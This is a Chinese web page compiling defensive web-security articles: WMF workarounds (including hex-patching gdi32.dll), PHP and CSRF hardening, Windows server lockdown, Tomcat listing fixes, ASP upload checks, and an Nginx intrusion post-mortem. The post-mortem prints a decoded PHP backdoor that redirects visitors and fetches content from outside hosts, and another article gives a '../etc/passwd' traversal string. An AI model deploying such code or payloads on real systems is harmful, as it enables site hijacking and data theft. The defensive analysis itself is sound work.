欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>注意:WMF漏洞临时解决办法WEB安全

注意:WMF漏洞临时解决办法WEB安全

2023-03-22 08:24:46 收藏本文 下载本文

“二十亿光年”通过精心收集,向本站投稿了10篇注意:WMF漏洞临时解决办法WEB安全,以下是小编给大家整理后的注意:WMF漏洞临时解决办法WEB安全,欢迎大家前来参阅。

注意:WMF漏洞临时解决办法WEB安全

篇1:注意:WMF漏洞临时解决办法WEB安全

编辑:这个是幻影论坛的一个帖子,给出了各种解决办法,请大家看看那种办法更好.

鉴于目前wmf马和钓鱼方式猖獗,微软又没补丁出来,现给出临时解决办法

1.regsvr32.exe /u shimgvw.dll

执行以上命令则可禁止wmf执行,regsvr32.exe一般在system32下,没有的话自己去搜

2.上面这个方法只能防止通过IE调用图片查看器触发漏洞,通过其他办法一样可以利用

我给出我的临时解决方法

先Kill掉SFC,这个自已想办法

用Uedit32打开gdi32.dll,查找 53 57 ff d0 85 c0

修改成33 c0 90 90 85 c0,重启即可

简中Windows SP1测试成功

3.最简单的办法是装个ACDSEE,我测试过,简单而有效,

注意:WMF漏洞临时解决办法WEB安全

。。呵呵

4.官方的解决方法:

www.enet.com.cn/article/...230488781.shtml

篇2:关于如何防止PHP漏洞?WEB安全

踏入编程圈一年不到,之前写的文章一直放在个人博客上,以后我写的或整理的好的教程一定到园子里分享,只是园子里PHPer好像不怎么活跃,希望同行多多交流,这是我之前整理的一篇PHP漏洞文章!

漏洞无非这么几类,XSS、sql注入、命令执行、上传漏洞、本地包含、远程包含、权限绕过、信息泄露、cookie伪造、CSRF(跨站请求)等。这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何有效防止这些漏洞。

1.xss + sql注入(关于xss攻击详细介绍)

其中占大头的自然是XSS与SQL注入,对于框架类型或者有公共文件的,建议在公共文件中统一做一次XSS和SQL注入的过滤。用PHP写个过滤函数,可由如下所示:

$_REQUEST = filter_xss($_REQUEST);

$_GET = filter_xss($_GET);

$_POST = filter_xss($_POST);

$_COOKIE = filter_xss($_COOKIE);

$_POST = filter_sql($_POST);

$_GET = filter_sql($_GET);

$_COOKIE = filter_sql($_COOKIE);

$_REQUEST = filter_sql($_REQUEST);

最简单的filter_xss函数是htmlspecialchars

最简单的filter_sql函数是mysql_real_escape_string()

当然,谁都知道这种过滤filter_sql(详细防止sql注入)只能过滤字符型和搜索型的注入,对于数字型是没有办法的,但也说明做了这层过滤后,只需在后面注意数字型的SQL语句就可以了,遇到了加intval过滤就可以了,这就变得容易多了。

2. 命令执行

对于命令执行,可以从关键字入手,总共可分为3类

(1) php代码执行 :eval等

(2)shell命令执行:exec、passthru、system、shell_exec等

(3) 文件处理:fwrite、fopen、mkdir等

对于这几类需要注意其参数是否用户可控,

3.上传漏洞

对于上传漏洞,也是重点关注的地方,要仔细分析它的处理流程,针对上传的绕过方式是很多的,最保险的方式:在保存文件是采用文件名随机命名和后缀白名单方式。其次要注意的一点是上传文件的地方可能不止一处,不要有遗漏,可能会碰到这样的情况,突然在某个目录里面包含了一个第三方的编辑器在里面。

文件包含漏洞涉及的函数如include() 、include_once()、require()、require_once()、file_get_contents()等

最常见的还是出在下载文件功能函数,例如download.php?file=../../../etc/passwd 这种类型中。

4. 权限绕过

权限绕过可分为两类吧

(1)后台文件的未授权访问。后台的文件没有包含对session的验证,就容易出现这样的问题

(2)未作用户隔离,例如mail.php?id=23显示了你的信件,那么换个ID, mail.php?id=24就查看到了别人的信件,编写代码是方便,把信件都存在一个数据表里,id统一编号,前端展现时只需按id取出即可,但未作用户隔离,判定归属,容易造成越权访问。

这样的例子是很常见的,给某银行做评估是就经常发现这种漏洞。

5. 信息泄露

信息泄露算是比较低危的漏洞了,比如列目录这种就属于部署问题,而与代码审计无关了,而像暴路径、暴源码这种是需要防止的。曾经遇到这样的代码

表面上似乎没问题,可是当请求变为 xx.php?a[]=1时,即参数变为数组的时候,就会发生错误以致路径泄露,而用isset判断则不会,当然一个个防太麻烦,建议在配置文件中关闭错误提示,或者在公共文件中加入如下代码以关闭错误显示功能:

之前PHP点点通(phpddt.com)就有一篇文章:关于PHP防止漏洞策略 ,介绍了register_globals 的危害以及魔术引用Magic Quotes使用说明。

注明:本文部分内容摘自PHPCHINA

篇3:防溢出提升权限攻击解决办法WEB安全

在骇客频频攻击、在系统漏洞层出不穷的今天,作为网络管理员、系统管理员的我们虽然在服务器的安全上都下了不少功夫:诸如,及时的打上系统安全补丁、进行一些常规的安全配置,但是仍然不太可能每台服务器都会在第一时间内给系统打上全新补丁,因此我们必需要在还未被入侵之前,通过一些系列安全设置,来将入侵者们挡在“安全门”之外;下面就以本人一直以来所用到的最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家讲讲。

1、如何可以防止溢出类的骇客攻击呢?

① 尽最大的可能性将系统的漏洞补丁都打完;最好是比如Microsoft Windows Server系列的系统可以将自动更新服务打开,然后让服务器在您指定的某个时间段内自动连接到Microsoft Update网站进行补丁的更新。如果您的服务器为了安全起见 禁止了对公网外部的连接的话,可以用Microsoft WSUS服务在内网进行升级

② 停掉一切不需要的系统服务以及应用程序,最大限能的降底服务器的被攻击系数。比如前阵子的MSDTC溢出,就导致很多服务器挂掉了。其实如果WEB类服务器根本没有用到MSDTC服务时,您大可以把MSDTC服务停掉,这样MSDTC溢出就对您的服务器不构成任何威胁了。

③ 启动TCP/IP端口的过滤:仅打开常用的TCP如21、80、25、110、3389等端口;如果安全要求级别高一点可以将UDP端口关闭,当然如果这样之后缺陷就是如在服务器上连外部就不方便连接了,这里建议大家用IPSec来封UDP。在协议筛选中“只允许”TCP协议(协议号为:6)、UDP协议(协议号为:17)以及RDP协议(协议号为:27)等必需用协议即可其它无用均不开放。

④ 启用IPSec策略:为服务器的连接进行安全认证,给服务器加上双保险。如③所说,可以在这里封掉一些危险的端品诸如:135 145 139 445 以及UDP对外连接之类、以及对通读进行加密与只与有信任关系的IP或者网络进行通讯等等。(注:其实防反弹类木马用IPSec简单的禁止UDP或者不常用TCP端口的对外访问就成了,关于IPSec的如何应用这里就不再敖续,你可以到服安讨论Search “IPSec”,就 会有N多关于IPSec的应用资料..)

⑤ 删除、移动、更名或者用访问控制表列Access Control Lists (ACLs)控制关键系统文件、命令及文件夹:

1. 通常在溢出得到shell后,来用诸如net.exe net1.exe ipconfig.exe user.exe query.exe regedit.exe regsvr32.exe 来达到进一步控制服务器的目的如:加账号了,克隆管理员了等等;这里我们可以将这些命令程序删除或者改名。(注意:在删除与改名时先停掉文件复制服务(FRS)或者先将 %windir%\system32\dllcache\下的对应文件删除或改名。)

2.也或者将这些.exe文件移动到你指定的文件夹,这样也方便以后管理员自己使用。

3.访问控制表列ACLS控制:找到%windir%\system32下找到cmd.exe、cmd32.exe net.exe net1.exe ipconfig.exe tftp.exe ftp.exe user.exe reg.exe regedit.exe regedt32.exe regsvr32.exe 这些 常用的文件,在“属性”→“安全”中对他们进行访问的ACLs用户进 行定义,诸如只给administrator有权访问,如果需要防范一些溢出攻击、以及溢出成功后对这些文件的非法利用;那么我们只需要将system用户 在ACLs中进行拒绝访问即可。

4.如果你觉得在GUI下面太麻烦的话,你也可以用系统命令的CACLS.EXE来对这些.exe文件的Acls进行编辑与修改,或者说将他写成一个.bat批处理 文件来执行以及对这些命令进行修改,

(具体用户自己参见cacls /? 帮助进行,由于这里的命令太多我就不一一列举写成批处理代码给各位了!!)

5.对磁盘如C/D/E/F等进行安全的ACLS设置从整体安全上考虑的话也是很有必要的,另外特别是win2k,对Winnt、Winnt\System、Document and Setting等文件夹。

⑥ 进行注册表的修改禁用命令解释器: (如果您觉得用⑤的方法太烦琐的话,那么您不防试试下面一劳永逸的办法来禁止CMD的运行)

通过修改注册表,可以禁止用户使用命令解释器(CMD.exe)和运行批处理文件(.bat文件)。具体方法:新建一个双字节(REG_DWORD)执行 HKEY_CURRENT_USER\Software\Policies\ Microsoft\Windows\System\DisableCMD,修改其值为1,命令解释器和批处理文件都不能被运行。修改其值为2,则只是禁止命令解释器的运行,反之将值改为0,则是打开CMS命令解释器。如果您赚手动太麻烦的话,请将下面的代码保存为*.reg文件,然后导入。

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]

“DisableCMD”=dword:00000001

⑦ 对一些以System权限运行的系统服务进行降级处理。(诸如:将Serv-U、Imail、IIS、Php、Mssql、Mysql等一系列以System权限运行的服务或者应用程序换成其它administrators成员甚至users权限运行,这样就会安全得多了...但前提是需要对这些基本运行状态、调用API等相关情况较为了解. )

其实,关于防止如Overflow溢出类攻击的办法除了用上述的几点以外,还有N多种办法:诸如用组策略进行限制,写防护过滤程序用DLL方式加载windows到相关的SHell以及动态链接程序之中这类。当然自己写代码来进行验证加密就需要有相关深厚的Win32编程基础了,以及对Shellcode较有研究;由于此文仅仅是讨论简单的解决办法,因此其它办法就不在这里详述了。

2、如何在防止被骇客溢出得到Shell后对系统的而进一步入侵呢?

① 在做好1中上述的工作之后,基本上可以防目骇客在溢出之后得到shell了;因为即使Overflow溢出成功,但在调用CMDSHELL、以及对外联接时就卡了。 (为什么呢,因为:1.溢出后程序无法再调用到CMDSHLL我们已经禁止system访问CMD.exe了。2.溢出之后在进行反弹时已经无法对外部IP进行连接了。所以,基本上要能过system权限来反弹shell就较困难的了...)

② 当然世界上是不存在绝对的安全的,假设入侵者在得到了我们的shell之后,做些什么呢?一般入侵者在在得到shell之后,就会诸如利用系统命令加账号了 通过tftp、ftp、vbs等方式传文件了等等来达到进一步控制服务器。这里我们通过1上述的办法对命令进行了限制,入侵者是没有办法通过tftp、ftp来传文件了,但他们仍然可以能过echo写批处理,用批处理通过脚本BAT/VBS/VBA等从WEB上下载文件,以及修改其它盘类的文件等潜在破坏行为。所以我们需要 将echo命令也限制以及将其它盘的System写、修改文件的权限进行处理。以及将VBS/VBA类脚本以及XMLhttp等组件进行禁用或者限制system的运行权。这样的话别人得到Shell也无法对服务器上的文件进行删除以及进行步的控制系统了;以及本地提权反弹Shell了。

后记:其它服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的网站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎。

篇4:在PHP应用程序修复CSRF漏洞WEB安全

CSRF(跨站点请求伪造)是排名前10位的OWASP漏洞之一,它利用了网站在浏览器上的信任。这个漏洞危害用户的,通过使用用户的行动可以修改或删除用户数据。攻击的优势是,作为一个有效的用户执行操作,但用户从不知道他做了什么。如果目标为网站管理员帐户,攻击者可以执行的Web应用程序管理员的操作。不好的编码和错误是造成web应用程序存在安全漏洞的主要原因。

有时,它是被攻击者典型的利用这个漏洞。在这方面的详细的文章中,我们将了解跨站点请求伪造漏洞。我们还将创建一个表单,具有很强的保护从这个漏洞。我们还将看到流行的框架,可以用来修补此漏洞的脚本和方法。

什么是跨站请求伪造攻击?

CSRF(跨站请求伪造攻击)是一个恶意的行为,最终从用户(有效用户)的一个无辜的网站的浏览器,他/她是运行网站的一个有效的会话。。如果用户在网站上进行身份验证,从他的浏览器中执行的每一个动作将是属于他的。该网站还认为该请求是来自用户。

这种攻击是最常见的影响是改变密码,从银行账户的资金转移,一个项目的采购。

这种攻击是产生假的请求在原网站执行。当这些请求被发送到用户浏览器已验证的网站,该网站认为该请求是由用户发出的。在下一节中,我们将看到CSRF是如何工作的。

CSRF是如何工作的:

大部分的时候,攻击者使用一个第三方可信网站完成这种攻击。假链接张贴在论坛和社交网站,可能会导致CSER。这次攻击是一个序列的请求和响应。假设一个受害者是登录在目标网站上。他发现了论坛上的一个链接。执行一个恶意链接的链接在目标网站。他点击了链接和链接发送给目标网站恶意请求。

现在,例如:

1、您登录在一个网站targetwebsite.com上。

2、这个网站有一个删除账号的按钮在页面上。这个按钮通过表单提交一个删除请求。

3、当单击该按钮时,网站将删除的帐户登录的用户。所以,它依赖于活动的会话来识别用户。

4、攻击者伪造了一个页面,提交该表单载入页面。他已经在论坛发出了这个链接。

5、你发现的有趣的链接点击。

6、一旦你点击了链接,页面提交表单。表单的操作将删除您的帐户,因为你有一个活跃的会话。

7、这样,您的帐户已被删除的攻击者没有你的知识。但是请求都是从你的浏览器。

我相信:这个简单的例子已经明确漏洞如何影响网站的用户。同样,如果您的银行应用程序存在漏洞,我们可以显示它如何影响你的银行帐户。

如果动作是通过一个GET请求,攻击者还可以请求一个图像标记。图像的SRC属性将表单上的操作链接。当页面上的图像加载,它将执行操作。

CSRF攻击的误解

跨站请求伪造是最危险的Web应用程序的漏洞之一。因此,必须仔细检查和修补。但是有几个误区的修补。一般来说,开发人员使用一些方法来修补漏洞。但这些方法都不足以预防这个漏洞。修补CSRF有一些错误的方法:

使用的关键任务POST请求。

1、开发者认为很容易创建一个假的GET请求。但是,创建一个假的POST请求是不容易的。如果你是为web开发安全,您可以轻松地创建一个页面,可以通过JavaScript在页面加载的形式提交。这样永远不会阻止CSRF。所以,如果你要套用这个逻辑,你应该三思而后行。任何隐藏的表单可以通过JavaScript触发。

2、另一个CSRF修补错误的例子是URL重写。开发人员创建URL重写方法具有独特会话ID的URL。这使得的URL不可预知的。但是这种方法也暴露在URL中的用户的凭据。可能防止CSRF,但它是对用户同样有害。

3、有时网站使用多步交易过程,如果我们在以前的帐户中删除的列子,假设要求删除帐户后,网站会对要求进行确认。如果两个请求没有阻止CSRF,攻击者可以预测和执行所有步骤或减少步骤通过某些方面的交易请求。

很少有其他无用预防方法并不重要,讨论在这里。

有效预防CSRF漏洞方法

检查 Referral Header

检查Referral Header可以帮助预防CSRF。如果请求是来自其他域,它一定是假的请求即阻止它。总是允许来自同一个域。如果网站具有已经开放重定向漏洞,这种方法失败。击者可以通过使用开放的重定向执行GET CSRF

如今,大多数应用程序使用HTTPS连接。在这里的引用将被省略。如果网站使用HTTPS,所以这种方法不会的帮助。因此,我们将不得不寻找另一种方式。

在forms验证验证码

这是另一个不错的方式来阻止CSRF攻击方法。验证码验证过程最初是发达国家以防止机器人在forms的垃圾邮件。但它也可以有助于阻止CSRF。为验证码是在客户端生成随机,攻击者无法猜测模式。所以,他将永远无法发送正确的验证码和一个假的请求。所有虚假请求将被一个验证码验证功能受阻。

这个方法不是很人性化。大多数用户不希望在网站上填写的验证码。我们应该试图找到防止CSRF漏洞的方式对用户无需增加任何额外负担。

不可预知的同步令牌模式

这是最安全的方法预防CSRF。与验证码验证,该方法具有与用户无关。因此,用户不知道的东西已经被添加到保护他们。在该方法中,网站在每个表单中生成一个随机的令牌作为一个隐藏的值。这个标记是与用户当前的会话关联的。一旦表单被提交后,网站验证是否随机令牌通过请求。如果是的话,那么验证否是正确的。通过使用这种方法,开发人员可以很容易地确定请求用户是否被攻击。

这种方法的强度取决于令牌生成方法,

所以,总是试图生成令牌的方式,它始终是不可预知的。

所以,如果你正在考虑实现这项,尽量使用随机。

您可以使用

$randomtoken = md5(uniqid(rand, true));

或尝试这个

$randomtoken = base64_encode( openssl_random_pseudo_bytes(32));

用base64_encode,它可确保生成的值不会打破你的HTML布局与HTML字符。

生成这randomgtoken,一旦会话后启动登录,并添加到您的会话变量。

$ _SESSION [:'csrfToken'] = $ randomtoken。

将任何用户添加到form表单

每个会话的csrftoken是独特的,在每一个新会话,它将再次生成和然后varified表单请求。

您可以使用一个单一的CSRF令牌在单个会话中的所有形式。但使用不同的所有形式可能会更安全。但是,使用这种方法可以创建为产生不同的csrfToken的不同形式的麻烦,当用户打开多个标签,并提交逐一多种形式。

有几个开源的PHP类和库也可。你可以使用这些开源类实现一个强大的抵御CSRF漏洞。

很少有开源的库:

1、Clfsrpm

Clfsrpm是一种流行的PHP类,给人以强烈的措施防止CSRF。它给出了一些公共的功能,你可以使用CSRF令牌生成和验证。复杂的部分已经被开发商完成。

你可以阅读更多链接下载类:www.clfsrpm.net/csrf/

2、NoCSRF

NoCSRF是另一种简单的防御CSRF令牌生成和检查类写在PHP5。它还配备了易于理解的例子来学习如何正确地实现这个类在Web应用程序。

可以从这里下载NoCSRF:github.com/BKcore/NoCSRF

3. csrf by Skookum

这是另一个PHP实现保护的CSRF PHP。代码是免费。所以你可以复制和在应用程序中使用。

从这里获取代码: github.com/Skookum/csrf/blob/master/classes/csrf.php

4. anticsurf

anticsurf是另一个小型PHP库,可用于阻止CSRF在PHP中的web应用程序。

这个图书馆声称给暴力攻击有很强的entropy 。它还实现了一次性使用令牌提供超时限制。

阅读更多关于这个PHP库,并从这里下载:code.google.com/p/anticsurf/

5. CSRF-Magic

CSRF-Magic是另一中强大的实现方法,可以防止CSRF攻击的网站。库是免费在线演示。你可以只包含在你的PHP文件的顶部。该库将完成剩下的工作。它重新写脚本在您的网站上,然后拦截POST请求的形式来检查令牌注入,但这意味着它自动添加所有你的传统不安全的形式。你不需要添加额外的代码。只包括库文件的顶部。

其中一个最简单的CSRF保护库可用于PHP应用程序…

下载库,在这里看到的演示:csrf.htmlpurifier.org/

6.CSRF Protection

CSRF Protection 也是一个不错的和简单的类。虽然,它没有附带的教程。但它有完整的代码注释,让你理解如何使用这个库。它给你一些函数来生成,然后验证CSRF令牌。在下载页面,它给了几个示例代码显示了如何使用这个类来生成您自己的Web应用程序,然后验证CSRF令牌。

下载从github CSRF保护库,通过此链接:github.com/XCMer/csrfprotect

根据您的选择,您可以使用任何上述类或库。但不要忘了通过评论与我们分享。

用户方面防御

CSRF是一种有害的漏洞,因此,用户还应该按照几个步骤,以确保其安全性。这些都是几个重要的点:

始终在不使用时登出重要的Web帐户。

不要使用重要的网络账号(如在线银行)免费上网

不要使用脚本浏览器插件来保护自己免受恶意脚本

结论

在这篇文章中,我们已经看到,跨站请求伪造是一种有害的脆弱性和影响用户的帐户。我们也看到了各种方法来防止这种攻击,并保护用户的帐户。如果网站有一个跨站脚本漏洞,表演CSRF攻击变得更加容易。攻击者可以创建一个的自动蠕虫击败CSRF防御。

在这篇文章中,我们已经讨论了各种开源库和类。这些类可以直接使用基于PHP的Web应用程序内,以防止CSRF漏洞。Web开发人员应该照顾网站的安全,并按照给定的提示。有各种工具和手动的方法可用来测试CSRF。最常用的工具是OWASP CSRF Tester。你可以从这里下载:www.owasp.org/index.php/Category:OWASP_CSRFTester_Project

如果你想手动启动,您可以查看代码和看到的形式。如果随机令牌不可用,你应该添加可用的开源类。我敢肯定,现在你知道足够的有关CSRF的修补。如果你有什么话要说,你可以与我们分享它通过评论。

作者简介

Pavitra Shandkhdhar是一个工学毕业的研究生和安全研究员。他感兴趣的领域是网络渗透测试。他喜欢找漏洞在网站和玩电脑游戏在空闲时间。他是目前信息安全研究所研究员。

原文地址:resources.infosecinstitute.com/fixing-csrf-vulnerability-in-php-application/

篇5:tomcat目录遍历漏洞的防范WEB安全

如果apache/apache tomcat配置文件没有处理好,会给站点带来相当大的隐患,目录遍历漏洞,会将站点的所有目录暴露在访问者眼前,有经验的开发者或hacker们可以从 这些目录得知当前站点的信息,如开发语言、服务器系统、站点结构,甚至一些敏感的信息,

apache如何防范目录遍历漏洞?

编辑httpd.conf

找到“

1Options Indexes FollowSymLinks

将Indexes去掉,更改为“

1Options FollowSymLinks

”即可。

apache tomcat如何防范目录遍历漏洞?

1、编辑apache的httpd.conf

找到“

1Options Indexes MultiViews

”中的Indexs去掉,更改为“

1Options MultiViews

”即可。

2、编辑tomcat的conf/web.xml

找到

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

default

org.apache.catalina.servlets.DefaultServlet

debug

0

listings

true

1

将“

true”此行的true改为false即可,

编辑好后,记得重启相应的服务生效。

篇6:由于Nginx漏洞导致的入侵事件WEB安全

服务器突然负载比平常高出了50%,经过长时间分析发现原来是 利用nginx的一个漏洞,通过图片上传了含有代码的图片,然后调用图片使用post传入代码,生成一个含有推广链接代码的php可执行文件,代码在调用时需要多次解密,因此直接导致负载升高,

起因:

今天早上来到公司照例打开cacti监控查看服务器的运行情况,突然发现两台网站服务器的负载比平时高了50%,这个主要从CPU的使用情况以及服务器的load值来看。

排查:

于是赶紧登录到服务器上使用top命令查看,发现是一些php-fpm的进程瞬间占用了大量的CPU,奇怪,平时那些php-fpm的进程占用CPU很少超过2%的,今天怎么有的会达到100%,于是赶紧咨询运维的同事昨天是不是有程序发布到正式环境。同事回答却是有,发布时间为19:48左右,对照cacti的查看,发现负载升高是在凌晨3点中左右,因此可以初步确认发布和负载升高没什么直接的关系。

那么到底是什么导致服务器的负载一下子升高了那么多呢?带着这个疑问,我开始采用linux下的一些命令行工具开始排查,过程如下:

首先查看进程是否打开什么文件,找到进程高的pid,cat /proc/pid/fd 没有发现有打开的文件,接着采用strace –p pid跟踪相应的占用cpu高的php-fpm进程,也很难发现问题,因为占用CPU高的进程不是一直占用CPU高,而是瞬间的,所以很难跟踪。然后采用lsof命令查看相应的占用CPU高的pid,lsof –p pid ,发现路径都是指向bbs根目录下,因此初步确定bbs根目录必定有蹊跷。

目前可以确定的是bbs根目录和这次的负载高有直接的联系,那么如何找到其中的联系呢?我的思路是想找出是什么php文件引起的,也就是php-fpm进程是调用的哪个PHP文件的时候会出现负载突然升高的情况呢?请教了几个高手都不清楚,在网上找了半天也没找到合适的答案,突然想起前段时间出现类似的木马事件,也是导致服务器负载高了很多,上次木马事件是因为nginx一个文件上传的漏洞导致,并且为了防止此类事情的发生已经写了一个专门检测php文件的脚本,采用对文件进行md5的形式,如果现在的文件的md5和原始文件不匹配就会发短信和邮件报警。同时也开启了nginx上post日志,会记录用户执行post操作的内容。似乎突然来了灵感,赶紧运行了那个文件检测脚本,发现一个forums.php异常,服务器上本来不存在这个文件的,攻击者为了隐藏其链接,对该文件中的代码做了30多次的加密封装,通过开发同事的协助解密该文件后发现如下内容:

error_reporting(E_ERROR);

$domain=$_SERVER['SERVER_NAME'];

$dddd = $_SERVER['PHP_SELF'];

$qqqq=$_SERVER[“QUERY_STRING”];

$filename = end(explode('/',$dddd));

if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))

Header(“Location: jump.1310.net/jump.php?”.$_SERVER['HTTP_REFERER']);

else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))

Header(“Location: jump.1310.net/jump.php?”.$_SERVER['HTTP_REFERER']);

else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))

Header(“Location: jump.1310.net/jump.php?”.$_SERVER['HTTP_REFERER']);

else

{

if($qqqq==“”)

{

$a=“”.$domain.$_SERVER['PHP_SELF'];

$show = file_get_contents('localtemp.665203.com/server.php?gid='.rand(1,0).'&domain='.$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

else

{

$qqqq=str_replace('&',“”,$qqqq);

$a=“”.$domain.$_SERVER['PHP_SELF'].“?gid=”.$qqqq;

$show=file_get_contents('localtemp.665203.com/server.php?gid='.$qqqq.“&domain=”.$domain.'&filename='.$filename.'&url='.$a);

echo $show;

}

}

?>

很明显,服务器中马了,

将此文件备份后删除,服务器的负载马上降了下来,看来这个文件就是罪魁祸首了。现在知道了是这个文件导致的,那么这个文件是通过什么方式上传上来的呢?如何避免再次被种马,接下来详细分析一下是什么漏洞导致了这次木马事件,如何来预防?

分析:

查看到那个木马文件的更改时间是凌晨的3点零4分,那么这个文件的上传时间可能就是凌晨的3点零4分,带着这个疑问,就去查看服务器网页日志文件,发现了攻击的蛛丝马迹,从日志中显示,该用户是通过上传头像,头像中含有php代码,然后利用Nginx %00空字节执行任意代码(php)漏洞,通过POST /ucenter/data/tmp/upload545562.jpg%00.php的方式,把代码写入到论坛根目录,从sebug.net/vuldb/ssvid-20898查到了该漏洞,nginxnginx 0.5.*、nginx 0.6.*、nginx 0.7 <= 0.7.65、nginx 0.8 <= 0.8.37这些版本都存在这个漏洞,只需要将版本升级到0.8.37以上的版本就能解决,因此将马上将nginx升级至1.0.12版本,问题解决!

经验教训:

通过这次木马事件,有几个教训和心得和大家分享一下: 积极关注服务器的相关安全漏洞,Nginx %00的漏洞去年凌晨的-07-20就出来了,如果关注及时的话此次木马时间完全可以避免。 对所有的程序文件都定期的进行md5校验,当出现不一致的时候检查代码文件,能更快的发现代码文件被改的迹象,减少损失。 对服务器的权限严格控制,如果设置了论坛根目录不能写入,此次攻击也能避免。 加强监控,每天关注服务器的运行情况,对服务器突然的异常保持敏感并马上着手排查。因此以后主要从这三方面来加强web服务器的安全。

篇7:解决ASP(图像)上传漏洞的方法WEB安全

经常听说的ASP上传漏洞,即是将一些木马文件修改后缀名(修改为图像文件后缀),进行上传,

针对此情况使用下列函数进行辨别:

<%

'******************************************************************

'CheckFileType 函数用来检查文件是否为图片文件

'参数filename是本地文件的路径

'如果是文件jpeg,gif,bmp,png图片中的一种,函数返回true,否则返回false

'******************************************************************

const adTypeBinary=1

dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8)

dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D)

dim png(3):png(0)=CByte(&H89):png(1)=CByte(&H50):png(2)=CByte(&H4E):png(3)=CByte(&H47)

dim gif(5):gif(0)=CByte(&H47):gif(1)=CByte(&H49):gif(2)=CByte(&H46):gif(3)=CByte(&H39):gif(4)=CByte(&H38):gif(5)=CByte(&H61)

function CheckFileType(filename)

on error resume next

CheckFileType=false

dim fstream,fileExt,stamp,i

fileExt=mid(filename,InStrRev(filename,“.”)+1)

set fstream=Server.createobject(“ADODB.Stream”)

fstream.Open

fstream.Type=adTypeBinary

fstream.LoadFromFile filename

fstream.position=0

select case fileExt

case “jpg”,“jpeg”

stamp=fstream.read(2)

for i=0 to 1

if ascB(MidB(stamp,i+1,1))=jpg(i) then CheckFileType=true else CheckFileType=false

next

case “gif”

stamp=fstream.read(6)

for i=0 to 5

if ascB(MidB(stamp,i+1,1))=gif(i) then CheckFileType=true else CheckFileType=false

next

case “png”

stamp=fstream.read(4)

for i=0 to 3

if ascB(MidB(stamp,i+1,1))=png(i) then CheckFileType=true else CheckFileType=false

next

case “bmp”

stamp=fstream.read(2)

for i=0 to 1

if ascB(MidB(stamp,i+1,1))=bmp(i) then CheckFileType=true else CheckFileType=false

next

end select

fstream.Close

set fseteam=nothing

if err.number0 then CheckFileType=false

end function

%>

那么在应用的时候

CheckFileType(server.mappath(“cnbruce.jpg”))

或者

CheckFileType(“F:/web/164/images/cnbruce.jpg”))

反正即是检测验证本地物理地址的图像文件类型,返回 true 或 false值

所以这个情况应用在图像上传中,目前的办法是先允许该“伪图像”文件的上传,接着使用以上的自定义函数判断该文件是否符合图像的规范,若是木马伪装的图像文件则FSO删除之,比如:

file.SaveAs Server.mappath(filename) '保存文件

If not CheckFileType(Server.mappath(filename)) then

response.write “错误的图像格式”

Set fso = CreateObject(“Scripting.FileSystemObject”)

Set ficn = fso.GetFile(Server.mappath(filename))

ficn.delete

set ficn=nothing

set fso=nothing

response.end

end if

则是先将文件上传,接着立马使用自定义函数判断文件图像类型的吻合性,FSO做出删除该文件的操作。

ASP上传漏洞还利用“\0”对filepath进行手脚操作

www.cnbruce.com/blog/showlog.asp?cat_id=32&log_id=635

针对这样的情况可使用如下函数

function TrueStr(fileTrue)

str_len=len(fileTrue)

pos=Instr(fileTrue,chr(0))

if pos=0 or pos=str_len then

TrueStr=true

else

TrueStr=false

end if

end function

接着就可判断后再做文件的上传

if TrueStr(filename)=false then

response.write “非法文件”

response.end

end if

file.SaveAs Server.mappath(filename)

所以,在Blog中的一文:(ASP)文件系统之化境无组件(v2.0)上传

关于upfile.asp的全新内容如下:

<%@LANGUAGE=“VBSCRIPT” CODEPAGE=“936”%> 文件上传 <% on error resume next dim upload,f_folder,file,formPath,iCount,filename,fileExt,filesizemin,filesizemax '****************************************************************** 'CheckFileType 函数用来检查文件是否为图片文件 '参数filename是本地文件的路径 '如果是文件jpeg,gif,bmp,png图片中的一种,函数返回true,否则返回false '****************************************************************** const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim png(3):png(0)=CByte(&H89):png(1)=CByte(&H50):png(2)=CByte(&H4E):png(3)=CByte(&H47) dim gif(5):gif(0)=CByte(&H47):gif(1)=CByte(&H49):gif(2)=CByte(&H46):gif(3)=CByte(&H39):gif(4)=CByte(&H38):gif(5)=CByte(&H61) function CheckFileType(filename) CheckFileType=false dim fstream,fileExt,stamp,i fileExt=mid(filename,InStrRev(filename,“.”)+1) set fstream=Server.createobject(“ADODB.Stream”) fstream.Open fstream.Type=adTypeBinary fstream.LoadFromFile filename fstream.position=0 select case fileExt case “jpg”,“jpeg” stamp=fstream.read(2) for i=0 to 1 if ascB(MidB(stamp,i+1,1))=jpg(i) then CheckFileType=true else CheckFileType=false next case “gif” stamp=fstream.read(6) for i=0 to 5 if ascB(MidB(stamp,i+1,1))=gif(i) then CheckFileType=true else CheckFileType=false next case “png” stamp=fstream.read(4) for i=0 to 3 if ascB(MidB(stamp,i+1,1))=png(i) then CheckFileType=true else CheckFileType=false next case “bmp” stamp=fstream.read(2) for i=0 to 1 if ascB(MidB(stamp,i+1,1))=bmp(i) then CheckFileType=true else CheckFileType=false next end select fstream.Close set fseteam=nothing if err.number0 then CheckFileType=false end function function TrueStr(fileTrue) str_len=len(fileTrue) pos=Instr(fileTrue,chr(0)) if pos=0 or pos=str_len then TrueStr=true else TrueStr=false end if end function filesizemin=100 filesizemax=200*1024 set upload=new upload_5xSoft '建立上传对象 f_folder=upload.form(“upfilefolder”) '********************************列出所有上传文件*************************************************** For each formName in upload.objFile set file=upload.file(formName) If file.filesize>0 then '********************************检测文件大小*************************************************** If file.filesizefilesizemax then response.write “文件大小超过了 ”&filesizemax&“字节 限制 [ 重新上传 ]” End If 